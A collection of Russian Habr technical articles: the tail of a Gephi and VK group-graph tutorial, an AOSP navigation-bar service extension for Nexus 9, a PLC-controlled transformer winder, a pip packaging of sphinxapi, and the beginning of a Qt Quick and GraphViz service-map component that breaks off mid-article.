На этом же графе рассмотрим пример использования программы Gephi. Gephi — это программа с открытым исходным кодом для анализа и визуализации графов, написанная на Java, изначально разработаная студентами Технологического университета Компьеня во Франции. Gephi была выбрана для участия в Google Summer Code в 2009, 2010, 2011, 2012 и 2013 годах [wiki].
Для начала сохраним наш граф в формат .graphml — формат описания графов на основе XML.
```
networkx.write_graphml(g, 'graph.graphml')
```
Экспортировав, загрузим в Gephi и получим примерно такой результат:
Gephi имеет большую функциональность, которая расширяется с помощью множества плагинов. Ниже приведены примеры визуализации.
Центральность (PageRank centrality, Degree centrality, Eccentricity centrality). Разным цветом отмечены разные значения центральности.
Кластеризация (Modularity сlustering, Markov сlustering, Chinese Whispers сlustering). Разным цветом отмечены разные классы выбранные алгоритмом.
Последняя задача навеяна одной из лабораторных работ первого набора курса [Специалист по Большим данным](http://newprolab.com/bigdata) от New Professions Lab. На основе заведомо известного списка групп социальной сети Вконтакте необходимо построить граф:
* вершины — группы социальной сети;
* рёбра — наличие общих подписков;
* чем больше у данной группы подписчиков, тем больше размер вершины;
* чем больше у групп общих пописчиков, тем ближе друг к другу располагаются вершины.
В качестве примера групп будем рассматривать группы новостных изданий, при желании вы можете попробовать и другие группы.
```
%matplotlib inline
import networkx
import requests
import json
def getVKMembers(group_id, count=1000, offset=0):
# http://vk.com/dev/groups.getMembers
host = 'http://api.vk.com/method'
if count > 1000:
raise Exception('Bad params: max of count = 1000')
response = requests.get('{host}/groups.getMembers?group_id={group_id}&count={count}&offset={offset}'
.format(host=host, group_id=group_id, count=count, offset=offset))
if not response.ok:
raise Exception('Bad response code')
return response.json()
def allCountOffset(func, func_id):
set_members_id = set()
count_members = -1
offset = 0
while count_members != len(set_members_id): # posible endless loop for real vk api
response = func(func_id, offset=offset)['response']
if count_members != response['count']:
count_members = response['count']
new_members_id = response['users']
offset += len(new_members_id)
if set_members_id | set(new_members_id) == set_members_id != set(): # without new members
print 'WARNING: break loop', count_members, len(set_members_id)
break
set_members_id = set_members_id.union(new_members_id)
return set_members_id
groups = ['http://vk.com/meduzaproject',
'http://vk.com/tj',
'http://vk.com/smmrussia',
'http://vk.com/vedomosti',
'http://vk.com/kommersant_ru',
'http://vk.com/kfm',
'http://vk.com/oldlentach',
'http://vk.com/lentaru',
'http://vk.com/lentasport',
'http://vk.com/fastslon',
'http://vk.com/tvrain',
'http://vk.com/sport.tvrain',
'http://vk.com/silverrain',
'http://vk.com/afishagorod',
'http://vk.com/afishavozduh',
'http://vk.com/afishavolna',
'http://vk.com/1tv',
'http://vk.com/russiatv',
'http://vk.com/vesti',
'http://vk.com/ntv',
'http://vk.com/lifenews_ru']
members = {}
for g in groups:
name = g.split('http://vk.com/')[1]
print name
members[name] = allCountOffset(getVKMembers, name)
matrix = {}
for i in members:
for j in members:
if i != j:
matrix[i+j] = len(members[i] & members[j]) * 1.0/ min(len(members[i]), len(members[j]))
max_matrix = max(matrix.values())
min_matrix = min(matrix.values())
for i in matrix:
matrix[i] = (matrix[i] - min_matrix) / (max_matrix - min_matrix)
g = networkx.Graph(directed=False)
for i in members:
for j in members:
if i != j:
g.add_edge(i, j, weight=matrix[i+j])
members_count = {x:len(members[x]) for x in members}
max_value = max(members_count.values()) * 1.0
size = []
max_size = 900
min_size = 100
for node in g.nodes():
size.append(((members_count[node]/max_value)*max_size + min_size)*10)
import matplotlib.pyplot as plt
pos=networkx.spring_layout(g)
plt.figure(figsize=(20,20))
networkx.draw_networkx(g, pos, node_size=size, width=0.5, font_size=8)
plt.axis('off')
plt.show()
```
Результатом будет данный граф:
Конечно, представленные тут задачи лишь демонстрируют простоту и доступность работы с социальными сетями. На деле же приходится решать более сложные задачи. Так, к примеру, данные социального профиля могут обогатить данные DMP систем (возраст, интересы, социальная группа): главной задачей будет найти и поставить в соответствие пользователю DMP-системы его социальный профиль. Также появилось много стартапов, которые используют социальные сети как источник для создания резюме: amazinghiring, entelo, profiscope, gild и др. Главными задачами здесь будет: найти одного и того же пользователя в разных социальных сетях и на основе данных, полученных из социальных сетей, создать резюме пользователя, так как большинство социальных сетей, кроме, разве что, linkedin, не имеют достаточного количества подходящей для резюме информации. | https://habr.com/ru/post/263313/ | null | ru | null |
# Разработка нового сервиса в Android 7 | Кастомизация строки навигации
Представим себе следующую ситуацию: мы разрабатываем продукт, который требует очень специфические свойства которые или не существуют или недоступны в инвентаре Андроид. Например требуется кард-ридер.
Да, я знаю о внешних ридерах, но мы ведь серьезные разработчики и решили сделать его внутренним чтобы финальное устройство выглядело более целостным. Например как это:
Такие устройства скорее всего должны предоставлять специальные [службы](https://lemberg.co.uk/services/iot-development-services) обработки платежей для сторонних разработчиков.
В этой статье я хочу описать процесс расширения Android API на примере создания нового сервиса для кастомизации строки навигации.
### Формулировка задачи
Мы собираемся разработать API что даст возможность пользовательской настройки (кастомизации) строки навигации путем добавления туда новых элементов. Стандартная строка навигации выглядит по разному на разных устройствах, и даже может отсутствовать на устройствах с [аппаратными](https://lemberg.co.uk/services/iot-hardware-design-and-prototyping) кнопками навигации.
Давайте возьмем Nexus 9:
Строка навигации — это черный прямоугольник внизу с кнопками навигации. Он показывается пользователю все время (кроме случая когда какое-либо приложение работает в полно-экранном режиме) так что было бы неплохо предоставить возможность разработчикам помещать там свои собственные элементы.
Для того чтоб сделать API максимально гибким, возьмем Android Remote View как основный параметр нашего API. Это позволит пользователю (т.е. другому разработчику) использовать многие стандартные компоненты для кастомизации. Также это предоставит механизм обратной связи от элементов в приложение.
Как точку расширения, возьмем непосредственно Android SDK: мы внесем изменения в AOSP (Android Open Source Project) и соберем собственное Android SDK. Такое SDK подойдет только для устройств работающих под управлением нашей модифицированной прошивки, но нам такое ограничение подходит априори. Как результат наши службы будет очень просто использовать и они будут доступны сразу из Android SDK.
### Релизация
#### Скачайте и настройте среду разработки AOSP
Вся необходимая информация для настройки среды разработки AOSP предоставлена [здесь](https://source.android.com/source/initializing). Выберите соответствующую ветвь AOSP (это влияет на версию Android) совместимую с выбранным устройством. В моем случае это Nexus 9 и ветвь **android-7.1.1\_r33**.
#### Разработайте новую службу
Забегая вперед следующая схема показывает все задействованные в реализации компоненты:
Идея состоит в том, чтоб предоставить расширенные функции по управлению строкой навигации клиентским приложениям через службу Android. Строка навигации определена в файлах **NavigationBarInflaterView.java** и **{aosp}/frameworks/base/packages/SystemUI/res/layout/navigation\_bar.xml**. Но мы не можем получить доступ к ним напрямую из клиентского приложения, так как они находятся в системном приложении **SystemUI** в то время, как основные службы Android располагаются в процессе **system\_process**.
Таким образом наша цель сводится к связи этих компонентов с **system\_process**, где они будут доступны для клиентского кода.
1. Создать прокси сервиса (менеджер) который будет видим из клиентского приложения. Это стандартный Java класс, который делегирует все функции сервису:
**Код**
```
package android.os;
/**
* /framework/base/core/java/android/os/NavBarExServiceMgr.java
* It will be available in framework through import android.os.NavBarExServiceMgr;
*/
import android.content.Context;
import android.widget.RemoteViews;
public class NavBarExServiceMgr
{
private static final String TAG = "NavBarExServiceMgr";
private final Context context;
private final INavBarExService navBarExService;
public static NavBarExServiceMgr getInstance(Context context)
{
return (NavBarExServiceMgr) context.getSystemService(Context.NAVBAREX_SERVICE);
}
/**
* Creates a new instance.
*
* @param context The current context in which to operate.
* @param service The backing system service.
* @hide
*/
public NavBarExServiceMgr(Context context, INavBarExService service)
{
this.context = context;
if (service == null) throw new IllegalArgumentException("service is null");
this.navBarExService = service;
}
/**
* Sets the UI component
*
* @param ui - ui component
* @throws RemoteException
* @hide
*/
public void setUI(INavBarExServiceUI ui) throws RemoteException
{
navBarExService.setUI(ui);
}
public String addView(int priority, RemoteViews remoteViews)
{
try { return navBarExService.addView(priority, remoteViews); }
catch (RemoteException ignored) {}
return null;
}
public boolean removeView(String id)
{
try { return navBarExService.removeView(id); }
catch (RemoteException ignored) {}
return false;
}
public boolean replaceView(String id, RemoteViews remoteViews)
{
try { return navBarExService.replaceView(id, remoteViews); }
catch (RemoteException e) {}
return false;
}
public boolean viewExist(String id)
{
try { return navBarExService.viewExist(id); }
catch (RemoteException e) {}
return false;
}
}
```
Этот класс должен быть зарегистрирован в статической секции класса SystemServiceRegistry:
**Код**
```
registerService(Context.NAVBAREX_SERVICE, NavBarExServiceMgr.class,
new CachedServiceFetcher() {
@Override
public NavBarExServiceMgr createService(ContextImpl ctx) {
IBinder b = ServiceManager.getService(Context.NAVBAREX_SERVICE);
INavBarExService service = INavBarExService.Stub.asInterface(b);
if (service == null) {
Log.wtf(TAG, "Failed to get INavBarExService service.");
return null;
}
return new NavBarExServiceMgr(ctx, service);
}});
```
С клиентской стороны служба может быть доступна следующим образом:
**Код**
```
NavBarExServiceMgr navBarExServiceMgr = (NavBarExServiceMgr) getSystemService(Context.NAVBAREX_SERVICE);
// TODO
```
2. Определить AIDL интерфейс службы:
**Код**
`/*
* aidl file :
* frameworks/base/core/java/android/os/INavBarExService.aidl
* This file contains definitions of functions which are
* exposed by service.
*/
package android.os;
import android.os.INavBarExServiceUI;
import android.widget.RemoteViews;
/** */
interface INavBarExService
{
/**
* @hide
*/
void setUI(INavBarExServiceUI ui);
String addView(in int priority, in RemoteViews remoteViews);
boolean removeView(in String id);
boolean replaceView(in String id, in RemoteViews remoteViews);
boolean viewExist(in String id);
}`
И реализовать его:
**Код**
```
public class NavBarExService extends INavBarExService.Stub
…
```
Как видно большинство методов прямолинейны, только **setUI** выглядит странно. Это внутренний метод используемый классом, который реализует интерфейс **INavBarExServiceUI** для регистрации себя в **NavBarExService**. Все сущности помеченные комментарием “@hide” будут вырезаны из финального Android SDK и таким образом не будут видимы из клиентского кода.
Несколько комментариев относительно семантики API:
* Каждый элемент идентифицируется строковым идентификатором. Он генерируется службой при добавлении нового элемента. Таким образом каждое приложение, что добавляет новые элементы через нашу службу должны сохранять возвращаемый идентификатор для того, чтоб иметь возможность работы с элементом в дальнейшем;
* Другие методы принимает идентификатор как параметр который идентифицирует элемент;
* Каждый элемент также имеет параметр «приоритет» который указывает в каком месте разместить элемент. Чем выше значение приоритета, тем левее будет размещение.
Реализация метода **setUI**:
**код**
```
@Override
public void setUI(INavBarExServiceUI ui)
{
Log.d(TAG, "setUI");
this.ui = ui;
if (ui != null)
{
try
{
for (Pair entry : remoteViewsList.getList())
{
ui.navBarExAddViewAtEnd(entry.first, entry.second);
}
}
catch (Exception e)
{
Log.e(TAG, "Failed to configure UI", e);
}
}
}
```
Реализация метода **addView**:
**код**
```
@Override
public String addView(int priority, RemoteViews remoteViews) throws RemoteException
{
String id = UUID.randomUUID().toString();
int pos = remoteViewsList.add(priority, id, remoteViews);
if (ui != null)
{
if (pos == 0)
ui.navBarExAddViewAtStart(id, remoteViews);
else if (pos == remoteViewsList.size() - 1)
ui.navBarExAddViewAtEnd(id, remoteViews);
else
{
// find previous element ID
Pair prevElPair = remoteViewsList.getAt(pos - 1);
ui.navBarExAddViewAfter(prevElPair.first, id, remoteViews);
}
}
return id;
}
```
**remoteViewsList** используется чтоб удерживать созданные элементы пока UI не будет подключен (не будет вызван метод **setUI**). Если он уже подключен (поле **ui** не равно null) новый элемент добавляется прямо в UI.
3. **SystemServer** должен зарегистрировать нашу службу в системе:
**код**
```
try {
traceBeginAndSlog("StartNavBarExService");
ServiceManager.addService(Context.NAVBAREX_SERVICE, new NavBarExService(context));
Slog.i(TAG, "NavBarExService Started");
} catch (Throwable e) {
reportWtf("Failure starting NavBarExService Service", e);
}
Trace.traceEnd(Trace.TRACE_TAG_SYSTEM_SERVER);
```
Добавление новой службы требует правки политик Android SEPolicy.
Добавьте новую запись в файл **{aosp}/system/selinux/service.te**:
`type navbarex_service, app_api_service, system_server_service, service_manager_type;`
Добавьте новую запись в файл **{aosp}/system/selinux/service\_contexts**:
`navbarex u:object_r:navbarex_service:s0`
Имейте ввиду что формат файлов SELinux для Android 7.0 отличается от прежних версий Android.
4. Добавьте константы имени службы в класс **Context** чтоб клиенты могли его использовать вместо строкового значения:
**Код**
```
/**
* Use with {@link #getSystemService} to retrieve a
* {@link android.os.NavBarExServiceMgr} for using NavBarExService
*
* @see #getSystemService
*/
public static final String NAVBAREX_SERVICE = "navbarex";
```
5. Определите интерфейс **INavBarExServiceUI**:
**Код**
`/*
* aidl file :
* frameworks/base/core/java/android/os/INavBarExServiceUI.aidl
* This file contains definitions of functions which are provided by UI.
*/
package android.os;
import android.widget.RemoteViews;
/** @hide */
oneway interface INavBarExServiceUI
{
void navBarExAddViewAtStart(in String id, in RemoteViews remoteViews);
void navBarExAddViewAtEnd(in String id, in RemoteViews remoteViews);
void navBarExAddViewBefore(in String targetId, in String id, in RemoteViews remoteViews);
void navBarExAddViewAfter(in String targetId, in String id, in RemoteViews remoteViews);
void navBarExRemoveView(in String id);
void navBarExReplaceView(in String id, in RemoteViews remoteViews);
}`
Обратите внимание, что он помечен атрибутом **“hide”**, что делает его невидимым для клиентов. Также обратите внимание на ключевое слово **oneway**. Оно делает межпроцессное взаимодействие от system\_process к SystemUI быстрее, так как все вызовы будут неблокирующими (это также требует пустого возвращаемого значения в методах).
6. **VendorServices** это стандартный SystemUI компонент (он наследуется от класса SystemUI), который реализует интерфейс **INavBarExServiceUI**:
**Код**
```
public class VendorServices extends SystemUI
{
private final Handler handler = new Handler();
private NavBarExServiceMgr navBarExServiceMgr;
private volatile PhoneStatusBar statusBar;
private INavBarExServiceUI.Stub navBarExServiceUI = new INavBarExServiceUI.Stub()
{
@Override
public void navBarExAddViewAtStart(final String id, final RemoteViews remoteViews)
{
if (!initStatusBar()) return;
handler.post(new Runnable()
{
@Override
public void run()
{
statusBar.navBarExAddViewAtStart(id, remoteViews);
}
});
}
//…
}
@Override
protected void onBootCompleted()
{
super.onBootCompleted();
navBarExServiceMgr = (NavBarExServiceMgr) mContext.getSystemService(Context.NAVBAREX_SERVICE);
if (navBarExServiceMgr == null)
{
Log.e(TAG, "navBarExServiceMgr=null");
return;
}
try
{
navBarExServiceMgr.setUI(navBarExServiceUI);
}
catch (Exception e)
{
Log.e(TAG, "setUI exception: " + e);
}
}
}
```
Интересен метод **onBootCompleted**. Он производит само-регистрацию (вызывает метод **setUI**) в NavBarExService через NavBarExServiceMgr. Также обратите внимание что процесс SystemUI может быть перезапущен (например из-за падения) в результате чего будут сделаны несколько вызовов setUI. Само собой только последний должен учитываться.
7. Класс **PhoneStatusBar** это ключевой элемент который связывает NavBarExService и NavigationBarInflaterView. Он содержит ссылку на NavigationBarView, который в свою очередь содержит ссылку на NavigationBarInflaterView. С другой стороны VendorServices получает ссылку на PhoneStatusBar через метод SystemUI.getComponent:
**Код**
```
private boolean initStatusBar()
{
if (statusBar == null)
{
synchronized (initLock)
{
if (statusBar == null)
{
statusBar = getComponent(PhoneStatusBar.class);
if (statusBar == null)
{
Log.e(TAG, "statusBar = null");
return false;
}
Log.d(TAG, "statusBar initialized");
}
}
}
return true;
}
```
Вы заметили странную конструкцию “if (statusBar == null)”? Она называется “[Double Checking Locking Pattern](https://en.wikipedia.org/wiki/Double-checked_locking)” и преследует следующую цель: произвести потоко-безопасную инициализацию объекта, но избежать вхождение в секцию синхронизации когда объект уже проинициализирован. Изменения в PhoneStatusBar и NavigationBarView достаточно простые: они просто делегируют все вызовы в класс NavigationBarInflaterView.
8. Класс **NavigationBarInflaterView** — это конечный класс который производит непосредственно изменения в UI. Вот его метод navBarExAddViewAtStart:
**Код**
```
public void navBarExAddViewAtStart(String id, RemoteViews remoteViews) {
if ((mRot0 == null) || (mRot90 == null)) return;
ViewGroup ends0 = (ViewGroup) mRot0.findViewById(R.id.ends_group);
ViewGroup ends90 = (ViewGroup) mRot90.findViewById(R.id.ends_group);
if ((ends0 == null) || (ends90 == null)) return;
navBarExAddView(0, id, remoteViews, ends0);
navBarExAddView(0, id, remoteViews, ends90);
}
private void navBarExAddView(int index, String id, RemoteViews remoteViews, ViewGroup parent) {
View view = remoteViews.apply(mContext, parent);
view.setTag(navBarExFormatTag(id));
TransitionManager.beginDelayedTransition(parent);
parent.addView(view, index);
}
```
Этот код полагается на существующую реализацию и использует поля mRot0, mRot90 а также R.id.ends\_group как ViewGroup для кастомных элементов. mRot0 и mRot90 представляют разметку для портретного и ландшафтного режимов, так что добавляем наши элементы к обоим из них. Также мы задействовали TransitionManager для проигрывания некоторой анимации.
9. Один нюанс насчет файла Android.mk. Он должен содержать ссылки на наши AIDL файлы. Два файла в секции LOCAL\_SRC\_FILES:
**код**
`LOCAL_SRC_FILES += \
core/java/android/os/INavBarExService.aidl \
core/java/android/os/INavBarExServiceUI.aidl \
...`
и INavBarExService.aidl в секции “aidl\_files”:
**Код**
`aidl_files := \
frameworks/base/core/java/android/os/INavBarExService.aidl \
...`
### Все вместе
Исходные коды доступны на [GitHub](https://github.com/ryanchyshyn/aosp_nav_bar_ex). В каталоге “patches” есть два файла: frameworks\_base.patch и system\_sepolicy.patch. Первый патч должен быть применен к каталогу “{aosp}/frameworks/base”, второй — к “{aosp}/system/sepolicy”.
Каталог NavBarExDemo содержит демонстрационное приложение для системы сборки gradle.
Чтобы проверить реализацию на реальном устройстве нам нужно:
1. Скачать стоковые исходные коды Android и настроить среду разработки;
2. Применить патчи;
3. Собрать кастомный Android SDK;
4. Собрать кастомную прошивку и прошить устройство;
5. Запустить демонстрационное приложение.
Для сборки Android SDK выполните следующие команды:
**Код**
`. build/envsetup.sh
lunch sdk_x86-eng
make sdk -j16`
Результирующий ZIP файл расположен в каталоге **{aosp}/out/host/linux-x86/sdk/sdk\_x86** (если запущен в Linux). Имейте ввиду что имя файла будет содержать ваше имя пользователя Linux. Для того чтоб изменить это поведение, определите переменную окружения “BUILD\_NUMBER” и ее значение будет использовано вместо имени пользователя. Параметр J указывает сколько задач запускать одновременно. Используйте количество процессорных ядер умноженное на 2.
[Прошивка](https://lemberg.co.uk/services/iot-development-services) может быть создана используя следующие команды (для устройства Nexus 9):
**Код**
`. build/envsetup.sh
lunch aosp_flounder-userdebug
make otapackage -j16`
Прошивка может быть прошита используя комманду:
**Код**
`fastboot -w flashall`
Устройство должно иметь разблокированный загрузчик.
Чтоб проверить результаты было создано специальное демонстрационное приложение. Оно позволяет управлять элементами строки навигации.
Нажатие на кастомный элемент покажет тост даже если демо приложение не запущено (на самом деле система сама запустит процесс если нужно).
### Недочеты
После перезагрузки устройство утратит всю кастомизацию. Так что было бы хорошо сохранить ее где нибудь. Также было бы хорошо добавить параметр «gravity» в API для более точного контроля расположения элементов.
### Резюме
Мы расширили Android SDK и внедрили новую службу предназначенную для кастомизации строки навигации Android. Также мы создали кастомную прошивку для планшета Nexus 9 содержащую нашу службу.
В [прежней статье](http://blog.lemberg.co.uk/no-shake-screen-stabilization-android) мы реализовали стабилизацию экрана для Nexus 7. Здесь эта-же реализация но для Nexus 9:
P.S. На самом деле я также являюсь и автором оригинальной англоязычной версии статьи, которая была опубликована на [blog.lemberg.co.uk](http://blog.lemberg.co.uk), так что могу ответить на технические вопросы. | https://habr.com/ru/post/331900/ | null | ru | null |
# Штука для намотки трансформаторов. Без Arduino
В одном из проектов понадобилось намотать под сотню трансформаторов. Это стало поводом пересмотреть нелюбовь к моточным изделиям, которая тянулась ещё со школы, где, помогая в кабинете физики, вручную перематывал большую катушку для опытов Фарадея. Зелёную, как сейчас помню.
Поэтому вместо поиска трансформаторного завода меня манил ящик с деталями от старых проектов.
Видео
-----
Проектирование
--------------
Быстрый поиск показал, что большая часть комплектующих в нём уже есть. Нашёлся даже шаговый мотор с винтом на ось укладчика, который достался в наследство с 3Д принтером.
Пока шли недостающие драйверы и шаговый мотор со сквозным валом, прикидывал конструкцию во Fusion 360 и печатал детали импровизированного укладчика.
Первая версия механикиНа тот момент была идея установить энкодер с другой стороны вала, чтобы подкрутить катушку рукой на паузе не сбивая счёт. Идея оказалась не востребованной и осталось просто колёсико.
Когда все детали оказались на столе, оставалось просто собрать всё в одну конструкцию.
Так за выходные получилось **Мотало**.
Управление
----------
Сразу встал вопрос с управлением. Рядом с Ардуино нашёлся стенд с ПЛК Siemens, который показался более интересной альтернативой. Тем более в нём уже был экран для простого пользовательского интерфейса. Ещё нашлась плата управления 3D принтером под Marlin, но экран победил.
Первый запуск показал работоспособность изделия: катушка мотается, проволока укладыватся, но держатель катушки, казавшийся ровным на экране, в реальности оказался не таким из-за своей конструкции и особенностей FDM печати.
Вторая версия держателя, спроектированная под фотополимерный принтер, получилась удачнее. Появилась поддержка катушки с другой стороны: сверло, как ровный калиброванный вал нашедшийся под рукой, вращается в подшипниках и пружиной зажимает катушку между двумя половинами держателя. Это сильно улучшило повторяемость установки и стабильность катушки на высоких скоростях.
Вторая версия механикиПрограммирование
----------------
ПЛК можно рассматривать как большую Ардуину в которой решены вопросы корпусирования, защиты портов ввода-вывода и связи с внешним миром. Как Controllino, только для промышленного применения. Вместо breadboard и «DuPont» — плоская отвёртка и провода с наконечниками.
Controllino, Arduino и ПЛК S7-1200В среде TIA Portal, через которую происходит программирование ПЛК, многие параметры конфигурируются мышкой, как в CubeMX от STM. Настраивается не только низкоуровневая периферия, но и высокоуровневые объекты-«библиотеки».
Для намотки потребовалось два таких технологических объекта для управления осями. В каждом объекте выбирается выход, куда подключён драйвер шагового двигателя, количество импульсов на оборот и задаются динамические характеристики. Даже джерки из коробки.
Настройка параметров осиПрограммирование похоже на программирование микроконтроллеров. Только вместо C — Паскале-подобный МЭК язык. Например Blink в одну строчку:
```
"LED_Out" := "Clock_1Hz";
```
**LED\_Out** — это выход ПЛК, а **Clock\_1Hz** — системная переменная типа Bool, которая меняет своё значение раз в секунду.
Вначале код намотки был тривиален — после каждого слоя расчёт движения последующего и запуск на исполнение. Но в процессе эксплуатации захотелось дополнительных возможностей: отвода укладчика с одновременным медленным поворотом катушки в обратном направлении для более удобного отрезания и закрепления проволоки, режима ручной укладки тейпа и замедления на сменах направления движения укладчика. Показалось интересным добавить функцию растягивания неполного слоя на два, чтобы конец обмотки оказался там же, где и начало для соединения с контактами.
После таких доработок изначальный код превратился в стейт-машину под сотню строк.
```
CASE "Control_DB".state OF
// …
"STATE_IDLE":
IF "Control_DB".doRun THEN
"Control_DB".doRun := FALSE;
"Control_DB".state := "STATE_WINDING_PREPARE";
"Control_DB".isAxisEnable := TRUE;
ELSIF "Control_DB".doSetHome THEN
"Control_DB".doSetHome := FALSE;
#home := true;
END_IF;
"STATE_WINDING_PREPARE":
#_rodPosition_mm := 0;
#_rodVelocity_mms := 2;
#_coilRotations := 0;
#_coilVelocity_rps := 1;
#_doExecuteCoil := TRUE;
#home := true;
"Control_DB".state := "STATE_WINDING_RUN_NEXT";
"STATE_WINDING":
// …
"STATE_WINDING_RUN_NEXT":
// …
"STATE_MOVE_ROD_PREPARE":
// …
"STATE_MOVE_ROD":
// …
"STATE_TAPING_PREPARE":
// …
"STATE_TAPING":
// …
"STATE_RETURN_ROD_PREPARE":
// …
"STATE_RETURN_ROD":
// …
END_CASE;
```
А ведь ещё хочется автоматического закрепления и отрезания проволоки на выводах. Но это пока больше вопрос механики.
Интерфейс для экрана собирается мышкой, почти как WinForms в VisualStudio. Похожие свойства и события в элементах управления:
Визуальный редактор GUIВ получившемся интерфейсе задаётся количество витков, диаметр проволоки, ширина катушки и скорость намотки. Также есть кнопки остановки, запуска, начала намотки тейпа и обнуления.
Мотало в действии
-----------------
Теперь нужно ввести параметры намотки, вставить корпус трансформатора, закрепить проволоку и запустить намотку. А в конце сделать несколько оборотов специальной лентой.
Режим с растягиванием слоя на два сработал только на тонкой проволоке. На более толстой два слоя вместо одного не влезли на катушку — они не дают катушке сесть на плату.
Итоги
-----
Укладчик делался без серьёзных исследований, поэтому не получается виток-к-витку на тонком проводе, хотя и позволяет наматывать на скорости 10-15 об/сек и получать готовый трансформатор примерно за пять минут.
Моточные изделия теперь кажутся чуть менее страшными. Но, пожалуй, *нужно всё-таки искать завод*.
В качестве послесловия
----------------------
Как так же просто сделать аналогичное устройство на отечественных аналогах — пока не знаю.
Надеялся на ОВЕН, но у них в ПЛК нет похожих удобных штук для управления осями (хотя, на ПЛК 110 можно извернуться и сделать руками в прерывании), а о разрабатываемом модуле управления перемещением МП210-601 поддержка сказала, что приоритеты сменились и планов по выпуску оного пока нет. И даже в АСУТП-шной группе в Телеграм не нашлось подходящего ответа. Если кто-то знает удобную штуку для управления осями — поделитесь, пожалуйста, в комментариях. | https://habr.com/ru/post/682450/ | null | ru | null |
# import sphinxapi без танцев или простая установка sphinxapi.py через pip
Немного облегчил установку sphinxapi.py через pip.
Просто
```
pip install https://github.com/Romamo/sphinxapi/zipball/master
```
Используем
```
import sphinxapi
```
Когда я решил использовать Sphinxsearch для полнотекстового поиска в своем проекте, я просто скопировал sphinxapi.py к себе. И, конечно, благополучно забыл про него на несколько лет. Вместе с тем сам sphinxsearch продолжал исправно обновляться. Благо, что API не менялось и у меня ничего неожиданно не сломалось.
Проблема возникла при использовании новой сторонней библиотеки, которая содержала в себе лаконичное
```
import sphinxapi
```
Опять копировать? Да еще и по всем серверам и окружениям? На гитхабе [нашелся](https://github.com/jsocol/sphinxapi) готовый пакет, но он не обновлялся 3 года. Обновил sphinxapi.py
Устанавливаем свежий sphinxapi одной командой
```
pip install https://github.com/Romamo/sphinxapi/zipball/master
```
Текущее API от 2.1.7 release
Постараюсь поддерживать в актуальном состоянии. | https://habr.com/ru/post/220781/ | null | ru | null |
# Рисуем карту сервисов при помощи Qt Quick и GraphViz
Решил запрототипировать два представления в дополнение к стандартному Jaeger UI. Это
* построение карты сервисов по трейсу;
* просмотрщик логов без пиксельхантинга и разворачивания спанов.
Для Qt Widgets есть обертка в виде [nbergont/qgv](https://github.com/nbergont/qgv), а хочется сделать на Qt Quick.
Как это выглядит со стороны Qt Quick:
```
Flickable {
topMargin: 80
leftMargin: 80
bottomMargin: 80
rightMargin: 80
contentWidth: svcMap.width
contentHeight: svcMap.height
ServiceMap {
id: svcMap
visible: true
graph: item.graph
delegate: Rectangle {
implicitHeight: content.height + 10
implicitWidth: content.width + 10
visible: true
border.color: "black"
border.width: 1
ColumnLayout {
id: content
x: 5
y: 5
Text {
text: node.name
Layout.minimumWidth: 100
font.bold: true
}
Rectangle {
visible: node.hasEdges
height: 1
width: 10
Layout.fillWidth: true
color: "gray"
}
Repeater {
model: node.operations
Text {
text: modelData
}
}
}
MouseArea {
anchors.fill: parent
onClicked: {
nodeItem.setNode(node);
}
}
}
}
}
```
*ServiceMap* помещаем во *Flickable* на случай если граф не влезет в отображаемые границы. Делегат вычисляет размер исходя из содержимого, которое зависит от переданного свойства **node**.На стороне С++ следующая последовательность шагов:
* пробежаться по вершинам и ребрам графа, создать *QQuickItem* со свойством **node**, для получения размера;
* пробежаться по вершинам и ребрам графа, создать *Agnode\_t*, *Agedge\_t* в *GraphViz*, настроить параметры отображения;
* выполнить расчет графа в *GraphViz*;
* выставить вершинам и ребрам рассчитанные параметры.
Интерфейс *ServiceMap*, для делегата используется тип *QQmlComponent*:
```
struct ServiceMapCtx;
class ServiceMap : public QQuickItem
{
Q_OBJECT
Q_PROPERTY(TraceGraph graph READ getGraph WRITE setGraph NOTIFY notifyGraphChanged)
Q_PROPERTY(QQmlComponent *delegate READ delegate WRITE setDelegate NOTIFY notifyDelegateChanged)
public:
static constexpr qreal DPI = 72.0; //https://graphviz.org/doc/info/attrs.html
explicit ServiceMap(QQuickItem *parent = nullptr);
~ServiceMap();
const TraceGraph &getGraph() const;
void setGraph(const TraceGraph &data);
QQmlComponent *delegate() const;
void setDelegate(QQmlComponent *delegate);
signals:
void notifyGraphChanged();
void notifyDelegateChanged();
private:
void makeServiceGraph();
void makeQuickNodes();
void computeLayout();
void resetGraph();
private:
std::unique_ptr m\_ctx;
TraceGraph m\_trace;
QQmlComponent \*m\_delegate;
QVector m\_nodes;
QVector m\_edges;
};
```
Немножко хелперов, *GraphViz* использует строки, для настройки свойств:
```
namespace {
struct ContextDeleter
{
void operator()(GVC_t *ctx) const
{
gvFinalize(ctx);
if (gvFreeContext(ctx) != 0) {
qWarning() << "gvFreeContext != 0";
}
}
};
struct GraphDeleter
{
void operator()(Agraph_t *graph) const
{
if (agclose(graph) != 0) {
qWarning() << "agclose != 0";
}
}
};
using GVContextPtr = std::unique_ptr;
using GVGraphPtr = std::unique\_ptr;
template
void setAttribute(NodeType \*node, const QString &key, const QString &value)
{
char empty[] = "";
auto k = key.toLatin1();
auto v = value.toLatin1();
agsafeset(node, k.data(), v.data(), empty);
}
} // namespace
//...
struct ServiceMapCtx
{
ServiceMapCtx()
: ctx(gvContext())
, graph(agopen("service\_map", Agdirected, NULL))
{
setGraphAttribute("label", "service map");
setGraphAttribute("rankdir", "LR");
setGraphAttribute("nodesep", "0.5");
//setGraphAttribute("splines", "ortho");
setNodeAttribute("shape", "box");
setEdgeAttribute("minlen", "3");
}
~ServiceMapCtx() { gvFreeLayout(ctx.get(), graph.get()); }
void setNodeAttribute(const QString &name, const QString &value)
{
if (graph) {
agattr(graph.get(), AGNODE, name.toLocal8Bit().data(), value.toLocal8Bit().data());
}
}
void setGraphAttribute(const QString &name, const QString &value)
{
if (graph) {
agattr(graph.get(), AGRAPH, name.toLocal8Bit().data(), value.toLocal8Bit().data());
}
}
void setEdgeAttribute(const QString &name, const QString &value)
{
if (graph) {
agattr(graph.get(), AGEDGE, name.toLocal8Bit().data(), value.toLocal8Bit().data());
}
}
GVContextPtr ctx;
GVGraphPtr graph;
};
ServiceMap::ServiceMap(QQuickItem \*parent)
: QQuickItem(parent)
, m\_ctx(std::make\_unique())
, m\_delegate(nullptr)
{
setFlag(QQuickItem::ItemHasContents);
}
ServiceMap::~ServiceMap() {}
```
Для визуальных *QQuickItem* нужно задавать флаг *QQuickItem::ItemHasContents* в true, означает что item имеет детей, которых нужно отрисовывать. Создаем визуальные элементы вершин и ребер:
```
